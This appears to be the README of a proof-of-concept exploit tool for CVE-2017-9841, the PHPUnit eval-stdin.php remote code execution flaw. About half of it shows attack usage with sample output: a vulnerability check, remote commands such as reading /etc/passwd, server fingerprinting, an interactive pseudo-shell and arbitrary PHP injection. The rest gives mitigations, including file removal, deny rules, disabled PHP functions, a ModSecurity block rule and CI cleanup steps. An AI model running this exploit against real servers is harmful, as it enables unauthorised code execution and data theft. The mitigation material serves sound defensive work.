// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

pip install requests

git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

python3 poc_cve-2017-9841.py -u <URL> [options]

python3 poc_cve-2017-9841.py -u 'https://target.com' --check

[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

python3 poc_cve-2017-9841.py -u 'https://target.com' --info

=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

# /path/to/project/vendor/.htaccess
Deny from all

<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

location /vendor/ {
    deny all;
    return 403;
}

cd /path/to/project
composer install --no-dev --optimize-autoloader

; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

max_execution_time = 30

sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

# Example: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

                    ┌──────────────────────────────┐
                    │          Attacker            │
                    └──────────────┬───────────────┘
                                   │ POST (PHP code)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache Server                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Arbitrary Code Execution                   │  │
│  │                                                       │  │
│  │  - Read/Write files on the server                     │  │
│  │  - Access database credentials                        │  │
│  │  - Lateral movement to internal network               │  │
│  │  - Install backdoors / webshells                      │  │
│  │  - Privilege escalation                               │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘